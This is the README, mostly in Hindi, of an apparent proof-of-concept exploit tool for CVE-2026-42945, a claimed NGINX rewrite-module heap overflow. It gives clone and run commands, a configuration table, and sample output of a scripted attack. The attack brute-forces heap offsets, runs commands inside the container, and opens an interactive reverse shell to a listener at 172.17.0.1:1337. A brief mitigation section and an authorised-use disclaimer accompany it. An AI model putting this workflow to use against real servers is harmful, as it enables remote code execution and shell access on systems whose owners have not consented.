
NGINX कंटेनरों में CVE-2026-42945 शोषण को स्वचालित करता है: असुरक्षित लक्ष्यों की पुष्टि करता है, हीप ऑफसेट्स को ब्रूट-फोर्स करता है, कमांड निष्पादित करता है, और एक इंटरैक्टिव रिवर्स शेल खोलता है।
nginx-rift कंटेनर RCE शोषण के लिए PoC ऑटोमेशन ड्राइवर · लक्ष्य सत्यापन → सिंगल-कमांड एक्सप्लॉइट → इंटरैक्टिव रिवर्स-शेल
एक ही कमांड पूरे एक्सप्लॉइट प्रवाह को व्यवस्थित करता है — कंटेनर जाँच से लेकर शेल पाने तक।
⚠️ नैतिक एवं कानूनी चेतावनी यह टूल केवल वैध और अधिकृत सुरक्षा परीक्षण के लिए है — अनुबंधित पेंटेस्ट, लैब/CTF, या स्वयं के स्वामित्व वाली संपत्ति। सिस्टम स्वामी की अनुमति के बिना उपयोग एक आपराधिक अपराध है (UU ITE, Computer Fraud and Abuse Act, आदि)। उपयोगकर्ता इसके उपयोग के लिए पूर्ण रूप से जिम्मेदार है।
CVE-2026-42945 NGINX "Rift" कॉन्फ़िगरेशन में एक Remote Code Execution (RCE) कमजोरी है — ngx_http_rewrite_module मॉड्यूल में heap-based buffer overflow बग, जो विशेष ब्लॉक लोकेशन (/api/users/...) के माध्यम से ट्रिगर होता है। इसका प्रभाव यह है कि हमलावर कंटेनर के अंदर system() हैंडलर के माध्यम से कमांड निष्पादित कर सकता है।
इस रिपॉजिटरी में 2 घटक हैं:
| फ़ाइल | कार्य |
|---|---|
poc.py | एक्सप्लॉइट ड्राइवर — heap offset ब्रूट-फ़ोर्स, दो मोड: --cmd (सिंगल कमांड) और --shell (रिवर्स शेल) |
scan.sh | ऑटोमेशन ऑर्केस्ट्रेटर — लक्ष्य सत्यापन, PoC चलाना, परिणाम सत्यापन और इंटरैक्टिव शेल सत्र |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
ऑपरेटर (होस्ट जहाँ स्क्रिप्ट चलाई जाती है):
docker (sudo के साथ या docker समूह में उपयोगकर्ता)python3 + poc.py (scan.sh के समान निर्देशिका में)curl, nc (netcat), timeout (coreutils)लक्ष्य (लैब):
nginx-rift पहले से चालू है (docker compose के माध्यम से provisioning)19321 127.0.0.1 पर खुला है172.17.0.1)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh और poc.py को समान निर्देशिका में होना चाहिए।
./scan.sh # पूर्ण प्रवाह (डिफ़ॉल्ट: auto)
./scan.sh cmd # केवल सिंगल-कमांड PoC + मार्कर सत्यापन
./scan.sh shell # सीधे इंटरैक्टिव रिवर्स-शेल
./scan.sh help # सहायता दिखाएँ
auto (डिफ़ॉल्ट)--cmd — मार्कर hello from depthfirst को कंटेनर के अंदर /tmp/pwned में लिखें (स्वचालित retry अधिकतम 3×, timeout 300s/प्रयास)।docker exec cat /tmp/pwned में मार्कर होना चाहिए (ground-truth, केवल आउटपुट पढ़ना नहीं)।y।shell./scan.sh shell
poc.py --shell को listener 172.17.0.1:1337 के साथ चलाता है। ब्रूट-फ़ोर्स सफल होने के बाद, आपको कंटेनर के अंदर NGINX worker उपयोगकर्ता के रूप में इंटरैक्टिव /bin/sh प्रॉम्प्ट मिलता है।
नोट: IP
172.17.0.1डिफ़ॉल्ट Docker bridge पर होस्ट का पता है। यदि आपका bridge अलग है (docker network inspect bridge), तोscan.shके ऊपरLISTEN_IPवेरिएबल बदलें।
सभी पैरामीटर scan.sh के ऊपरी कॉन्फ़िगरेशन ब्लॉक में एकत्र हैं:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module को ठीक करता है / Rift कॉन्फ़िगरेशन हटाता है।0.0.0.0 पर एक्सपोज़ न करें; WAF के साथ आंतरिक नेटवर्क + रिवर्स प्रॉक्सी का उपयोग करें।--privileged के साथ न चलाएँ।/api/users/ पर अजीब अनुरोधों (गैर-संख्यात्मक पैटर्न, लंबे पेलोड) के लिए अलर्ट, nginx प्रक्रिया से /bin/sh स्पॉन का पता लगाना।CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — सत्यापन, PoC, मार्कर सत्यापन, शेल
├── poc.py # Exploit driver (python) — heap offset ब्रूट-फ़ोर्स, मोड --cmd / --shell
└── README.md # यह दस्तावेज़
केवल वैध उपयोग के लिए। यह टूल निम्न के लिए है:
किसी भी इंफ्रास्ट्रक्चर पर यह टूल चलाने से पहले आपके पास सिस्टम स्वामी की लिखित अनुमति होना अनिवार्य है।
रिपॉजिटरी "as-is" बिना किसी वारंटी के प्रदान की गई है। योगदानकर्ता दुरुपयोग के लिए जिम्मेदार नहीं हैं।
लाइसेंस: MIT
ngx_http_rewrite_module — आधिकारिक दस्तावेज़ीकरण| आइटम | विवरण |
|---|
| CVE | CVE-2026-42945 |
| प्रकार | Remote Code Execution (RCE) |
| घटक | NGINX (ngx_http_rewrite_module) — "Rift" कॉन्फ़िगरेशन |
| ट्रिगर | कमजोर location block (/api/users/{id}) पर अनुरोध |
| प्रभाव | कंटेनर के अंदर NGINX worker उपयोगकर्ता के रूप में मनमाना कमांड निष्पादन |
| लैब सेटअप | कंटेनर nginx-rift-nginx-1 — होस्ट पोर्ट 19321 |
| वेरिएबल | डिफ़ॉल्ट | कार्य |
|---|
DOCKER | sudo docker | यदि उपयोगकर्ता docker समूह में है तो docker बदलें |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | कंटेनर पहचान फ़िल्टर |
CONTAINER | nginx-rift-nginx-1 | लक्ष्य कंटेनर का नाम |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | लक्ष्य पता |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | रिवर्स शेल listener |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | निष्पादन सत्यापन |
CMD_TIMEOUT | 300 | प्रति प्रयास समय सीमा (सेकंड) |
MAX_ATTEMPTS | 3 | PoC --cmd के retry की संख्या |
| समस्या | समाधान |
|---|
Container ... tidak berjalan | cd <project-dir> && sudo docker compose up -d, फिर दोहराएँ |
HTTP 000 / connection refused | पोर्ट 19321 अभी तैयार नहीं — कुछ सेकंड प्रतीक्षा करें, docker ps देखें |
File 'poc.py' tidak ditemukan | scan.sh को रिपॉजिटरी निर्देशिका से चलाएँ (poc.py एक ही निर्देशिका में होना चाहिए) |
PoC --cmd बार-बार विफल (3×) | MAX_ATTEMPTS / CMD_TIMEOUT बढ़ाएँ; सुनिश्चित करें कि कर्नेल और NGINX संस्करण लैब के अनुरूप हैं |
| रिवर्स शेल कनेक्ट नहीं हो रहा | LISTEN_IP bridge के अनुसार जाँचें (docker network inspect bridge); सुनिश्चित करें कि पोर्ट 1337 उपयोग में नहीं है |
unrecognized arguments त्रुटि | सुनिश्चित करें कि poc.py संस्करण --listen-ip/--listen-port फ़्लैग का समर्थन करता है (python3 poc.py -h देखें) |